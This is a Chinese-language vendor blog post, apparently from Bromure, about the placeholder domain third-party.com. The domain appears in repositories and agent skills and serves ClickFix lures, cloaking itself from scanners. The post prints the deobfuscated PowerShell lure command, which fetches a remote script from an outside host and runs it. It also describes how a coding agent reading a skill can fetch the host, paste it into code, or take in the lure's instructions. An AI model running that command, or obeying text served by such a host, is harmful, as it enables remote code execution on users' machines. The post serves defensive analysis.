← 返回所有文章
發佈於 · 作者 Renaud Deraison

skill 指向 third-party.com,而 third-party.com 回應了

Manifold Security 發現了 third-party.com,一個文件用的佔位符,散落在 1,700 個儲存庫的 1,500 個檔案裡,其中包括 Chromium、Vercel 與 Brave,也躺在公開的代理 skill 之中,從六月起就一直在提供 ClickFix 誘餌。有人在 1996 年註冊了這個網域。它對任何看起來像掃描器的東西都回一個乾淨頁面,而唯一標記過它的封鎖清單在十天後就放棄了。主機名是唯一一種沒有任何 lockfile 為它留下一行的相依,而 Bromure Agentic Coding 用一份工作區可以呼叫的目的地清單來回答它。

你會去稽核的相依有版本、有維護者、有 lockfile 裡的一行。範例 URL 裡的那個主機名 只有一個擁有者,別的什麼都沒有,而擁有者會改變心意。

你要代理把一個小工具改成延遲載入。它打開一個你幾個月前裝上的 skill,讀了那個 skill 拿來當參考實作的 Liquid 片段,而片段的 src 是 https://third-party.com/widget.js。

你把那讀成一個待填的空格。代理讀到的是一個會解析成功的主機名、一台會回應的伺服器, 以及一位決定回應內容的擁有者。佔位符是寫文件給人看的人之間的一種約定。它不是那串 字元本身的性質。

出現在 1,700 個儲存庫裡的網域

9 月 23 日,Manifold Security 的 Ax Sharma 與 Cody Nash 發表了一份分析, 對象是 third-party.com,一個多數開發者只當成填充字樣的網域。 The Hacker News 隔天做了報導。 至少從 2026 年 6 月起,這個網域就一直在提供 ClickFix 誘餌:頁面把一道指令放進你的 剪貼簿,然後要你貼到某個會執行它的地方。

那份分析裡有一句話承載了全部前提:「和 example[.]com 不同,third-party[.]com 並未被 IANA 保留。任何人都能註冊它,而且真的有人註冊了。」有人在 1996 年透過 Network Solutions 註冊了它,此後它像任何其他網域一樣幾度易主,背後拖著三十年乾淨 的歷史。

GitHub 的程式碼搜尋會回傳超過 1,700 個儲存庫裡的 1,500 多個檔案。Manifold 在其中 點名了 Chromium、Sanity、Vercel、Brave 與 HackTricks。而 third-party.com 並不孤單: The Hacker News 另外數出十三個未被保留的佔位符,如今正在提供恐嚇軟體、假的安全警告 與投資詐騙,其中包括 yourdomain.com、yoursite.com、myapp.com、acme.com、 company.com 與 vendor.com,散布在數十萬個 GitHub 檔案與數百個代理 skill 之中。

Windows 的瀏覽器會拿到一個假的 Cloudflare 驗證頁。JavaScript 透過一個隱藏的 textarea 和一個被劫持的 copy 事件寫進剪貼簿,頁面則告訴你按 Win+R,接著 Ctrl+V, 接著 Enter。解除混淆之後,剪貼簿裡裝的是:

powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"

irm 透過 HTTPS 抓下一段指令稿,iex 在記憶體裡執行它,而 2>$null 把錯誤吞掉。 頁面還在後面接了一串幌子文字,「Security check, I'm not a robot, Verification ID」 加上幾個數字,好讓「執行」對話框顯示出接近頁面所要求的樣子。

凡是來查的,它都給乾淨頁面

酬載沒有那麼重要,重要的是挑選。伺服器逐一請求地決定誰看得到它。

Manifold 的原話是:「從資料中心網段查詢這個網域,從 Linux 爬蟲查詢,從任何不是預定 受害者的東西查詢,它回給你的都是乾淨頁面。」Mac 會拿到一句拒絕:「macOS is not supported. This website requires a Windows PC to access.」誘餌只為操作者所寫給的那位 訪客而發動。

IPFire 的封鎖清單在 2026 年 7 月 7 日標記了這個網域,十天後的 7 月 17 日又把它移除。 維護那份清單的人重現不出那個惡意回應,因為伺服器不會把它送給他們。三個月過去,網域 還活著,仍然隱身,也仍然躺在 1,700 個儲存庫裡。

信譽情報在這裡沒有東西可以承載,也沒有任何可訂閱的資安通報。沒有人入侵這個網域。 是有人擁有它。

載體之中包括你的代理的 skill

Manifold 跑去代理會讀的地方找,在三個公開的 skill 裡找到了這串字元。

jeffallan/claude-skills(約 11,000 顆星)裡的 shopify-expert,在一段延遲載入 第三方小工具的 Liquid 片段中用了它。alovajs/skills 裡的 alova-server-usage,在 一個 OAuth 閘道範例中用了它。而 ClawHub 的 dynamic-dashboard-builder,把它用在一個 標著「Wrong: Hardcoded endpoint, NEVER do this.」的區塊裡。

那個告誡用的範例,是一個活著的 URL。三次工具呼叫之後,等模型真的要寫程式碼時,它得 把「不要這樣做」的框架連同那串字元一起帶過來,而那串字元在兩種情況下長得一模一樣。

一個文件上的主機名有三種方式抵達網路,而同一個工作階段可能三種都走:

  • 它去抓。 skill 與 MCP 伺服器文件裡滿是端點,而一個正在確認片段能不能跑的代理 會去解析它們。回來的東西會以再普通不過的工具輸出形式進入模型的上下文。
  • 它去寫。 片段落進你的原始碼,diff 通過了審查,而那個沒人讀過的 src 屬性就 這樣送進你使用者的瀏覽器。Manifold 記錄到誘餌在 Windows 瀏覽器上發動,而那正是 那群使用者中相當一部分人所用的東西。
  • 它從那裡讀指令。 ClickFix 是說給正在讀的人聽的。今天的版本瞄準坐在 Windows 鍵盤前的人,而 Linux 上的代理拿到的是「不支援」那一頁。伺服器早就在辨識它的呼叫 端,並送出三種不同的回應。第四種回應,給看起來像代理的用戶端,對操作者來說只是 一行設定的成本。
文件裡的一串字元,與它背後的四種回應1,500 個檔案 / 1,700 個儲存庫README.mdMCP 伺服器文件shopify-expert/SKILL.mddynamic-dashboard-builder最後一個把它當成反面教材代理讀取,接著解析third-party.com1996 年註冊・未被保留辨識每一個呼叫端回應由擁有者挑選Windows 的瀏覽器假的 Cloudflare 驗證 → 剪貼簿Mac「macOS is not supported」爬蟲、資料中心網段、掃描器每一次都是乾淨頁面剪貼簿裡裝的東西,解除混淆之後powershell "Write-Host(&{iex(irm('elxxvvx.xyz/f'))})2>$null"對信譽情報造成的後果IPFire: 7/7 標記 · 7/17 移除以及你現有的控制為什麼都對它沒有意見沒有版本可釘 · 沒有維護者可信 · 沒有 lockfile 那一行 · 沒有 SBOM · 沒有 CVE · 沒有資安通報它只真實那麼一次:當某個東西對它開啟連線的時候
同一個主機名,四種不同的回應。有人在 1996 年註冊了 third-party.com,如今它出現在超過 1,500 個檔案裡:README、MCP 伺服器文件,以及代理 skill,其中一個還把它當成反面教材。伺服器依照是誰來問而挑選回應。Windows 的瀏覽器拿到假的 Cloudflare 頁面和一個裝滿 PowerShell 的剪貼簿。Mac 拿到一句拒絕。掃描器或資料中心的爬蟲拿到乾淨頁面,這正是為什麼 IPFire 在 2026 年 7 月 7 日標記了這個網域,十天後又把它移除。沒有任何資訊清單、lockfile 或 SBOM 為一個主機名留下一行。

佔位符是一個沒有人宣告過的相依

供應鏈工具處理的是具有身分的產出物。一個套件有名稱、版本、登錄中心、發行日期與 維護者,所以你可以釘住它、按發行時間設門檻、查驗它的來歷、跟上週的版本比對差異。 註解裡的一個主機名只具備其中一項:擁有者。你管線裡沒有任何工具會去解析它、記錄它, 或在它易主時通知你。能觸及佔位符的控制,必須落在連線上,而不是落在產出物上。

在 Bromure 工作區裡

在 Bromure Agentic Coding 裡,一個工作區的外送流量是一張有序的規則表。規則由上往下 比對,第一條相符的勝出,而一個分段式的 未相符流量 控制項把預設值設為允許或 拒絕。每條規則帶有一個動作、一個協定(tcp、udp、web 或 any)、一個主機 或 CIDR、連接埠,web 規則還帶一份 HTTP 方法清單。主機名以字尾比對,所以 example.com 涵蓋頂點網域與它的每一個子網域。正規寫法是一行一條規則,最後以 default allow 或 default deny 收尾:

allow tcp github.com:443
allow tcp registry.npmjs.org:443
allow web api.yourcompany.internal GET,POST
default deny

一個只作為排版慣例存在的主機名,不會在那張清單上。你是根據工作真正會抵達的地方寫出 這張清單的,而填充用的字串不會出現在那個集合裡。工作區從來不必學會 third-party.com 是敵意的,這一點幫了大忙,因為沒有任何情報這樣說。它只需要看見一 件事:third-party.com 不是 github.com。

你的 Mac 會把這套規則執行兩次。虛擬網路交換器以目的地 IP 和從 DNS 竊聽到的主機名, 跨 TCP 與 UDP 比對每一條流;主機端的代理伺服器再以 TLS 伺服器名稱比對一次,web 規則還會逐一比對 HTTP 方法。交換器把 VM 的 80 埠與 443 埠流量導進代理伺服器,其中 不牽涉任何環境變數,也沒有任何客體能取消的東西。規則的編輯會立刻抵達進行中的工作 階段,所以你可以在不中途重啟代理的情況下把一個工作區收緊。

筆電上的代理讀 skill,把字串解析出來GET https://third-party.com/widget.js行程與 DNS 之間沒有任何東西回應落進上下文視窗擁有者選擇要送給這個呼叫端的東西片段帶著主機名一路走進審查沒有 CVE、沒有通報、沒有 lockfile 那一行而封鎖清單早在七月就把判斷收回了你知道的時候,是使用者的瀏覽器先知道沒有任何紀錄顯示這個主機名被碰過Bromure 工作區裡的代理在 Ubuntu 客體裡讀同一個 skillGET https://third-party.com/widget.js:80 與 :443 被導進主機端代理在 Mac 上比對兩次switch: 目的地 IP + DNS 看到的主機proxy: TLS 伺服器名稱 + HTTP 方法沒有規則相符 → default deny假憑證一出範圍就回 451,VM 暫停Security Timeline 的 Firewall 那一列third-party.com:443 tcp — 已封鎖
同一個 skill 檔案,兩台機器。在筆電上,代理會把佔位符解析出來,因為它與 DNS 之間沒有任何東西,抓回來的頁面落進模型的上下文,而片段帶著原封不動的主機名進入你的原始碼。在 Bromure 工作區裡,主機會把這條連線比對兩次,在虛擬交換器上以目的地 IP 與從 DNS 竊聽到的主機名比對,在代理伺服器上再以 TLS 伺服器名稱比對,對象是那份工作真正需要抵達的目的地清單。未相符流量設成拒絕,事情就在那裡結束,而那次拒絕會變成一列寫著主機名的 Firewall 紀錄,你就是靠它在字串送進使用者瀏覽器之前,先在自己的產出裡把它找出來。

Firewall 的那一列會抵達你的 diff

擋下連線就結束了那次抓取。要把那串字元從你的原始碼裡清掉,靠的是那一列。

每一個防火牆判定都會以 Firewall 項目的形式落進 Security Timeline 視窗(手冊自己 的範例那一列寫的是 evil.example:443 tcp — blocked),和憑證替換、供應鏈決策、 護欄執行與提示注入命中並列在同一張按時間排序的表裡,有顏色分類,也可以篩選。

工作階段裡任何東西第一次解析到一個你沒有列進清單的主機名時,那個主機名就會帶著 時間戳和它來自的工作區出現在你的螢幕上。你回到 diff,找到那個 src 屬性,在分支 合併之前把它改掉。單靠外送控制碰不到這故事的另外一半,因為在「它去寫」的那種情況 裡,發出危險請求的是幾週之後別人的瀏覽器。

路徑上還有另外兩項控制,兩項都值得打開。

提示注入 偵測器會為前往模型的不可信內容評分,也就是檔案內容、網頁,以及裝在 tool_result 區塊裡帶進來的工具輸出,使用的是在裝置上執行、不會把任何東西送出 Mac 的本機 Prompt Guard 分類器。ClickFix 的文字正是一段對著讀它的人說話的指令,而那正是 那個分類器受訓要辨認的形狀。它跑在主機端的代理伺服器裡,VM 內的代理關不掉它,而 命中之後要做什麼由你決定:記錄下來、暫停並把被標記的文字拿給你看,或是用一個模型 永遠看不到的 HTTP 451 拒絕這次請求。

線路邊界 涵蓋的是文件把代理說動去向佔位符進行認證的那種情況。VM 裡沒有任何檔案、 環境變數或行程持有真正的 API 金鑰、OAuth 權杖、AWS 密鑰或 SSH 私鑰。客體拿到的是一份 保留結構的假值,而主機只對那份憑證所核發的那一台主機換上真正的值。代理伺服器會用 Aho-Corasick 自動機掃描每一個外送請求的標頭與內容,尋找這些假值。任何一個跑去它不 該去的地方的假值,都會拿到 HTTP 451 而且一個位元組也不會被轉送,同時讓 VM 暫停、 寫下一列紅色的 Credential brokering,並把工作區標記為已遭入侵,於是你下一次啟動 時會被詢問要不要清掉它的磁碟與家目錄,同時保留你的權杖與設定。

用被保留的佔位符

example.com、example.org、example.net 與 .example 這個 TLD 都被 IANA 保留,沒有人買得到。third-party.com、acme.com 與 yourcompany.com 則是 再普通不過的網域。拿 grep 掃過你的 skill、你的 MCP 設定與你的 README,把那些 沒人保留過的找出來。

目的地清單寫一次就夠

一個工作區需要的是一組短而穩定的主機:你的程式碼託管、你的登錄中心、你的模型 端點、你的 API。把未相符流量設成拒絕,那些沒有人想過的主機名,包括佔位符在內, 都會在沒有人點名它們的情況下被處理掉。

不要為了讓掃描器閉嘴而放行

這是 Manifold 自己的建議。為了讓某項檢查變綠而把一個網域加進允許清單,等於你 承諾了永遠信任它的擁有者,而你從來沒見過那個人。

讀 Firewall 那幾列

一個你認不出來的主機名被擋下,就告訴了你代理撿起了哪一串字元,也指出了你會在 diff 的哪個部分找到它。

有人買了一個網域

這裡沒有人毒化登錄中心、沒有人接管維護者帳號、沒有人對套件做錯字搶註、沒有人顛覆 CI 管線,也沒有人騙過模型。有人買下了一個待售的網域,就像它從 1996 年起一直待售那樣, 然後把它指向一台網頁伺服器。

業界對供應鏈風險的回答,是給產出物更好的身分:來歷證明、sigstore 簽章、SBOM、釘住的 摘要。那些工作是好的,而它們碰不到這件事,因為躺在 1,700 個儲存庫裡的是一串字元, 不是一個產出物。開發者們年復一年把它從一個 README 抄到下一個 README,而它成為真實 存在的東西,只有一次 DNS 解析加一次 TCP 連線那麼長。

去統治那個瞬間。給工作區一份工作會去到哪裡的清單,在代理碰不到的地方執行它,然後 讀那些紀錄,找出不是你放進去的名字。一個解析不出來的佔位符,就會變回你原本以為它是 的那塊無害排版。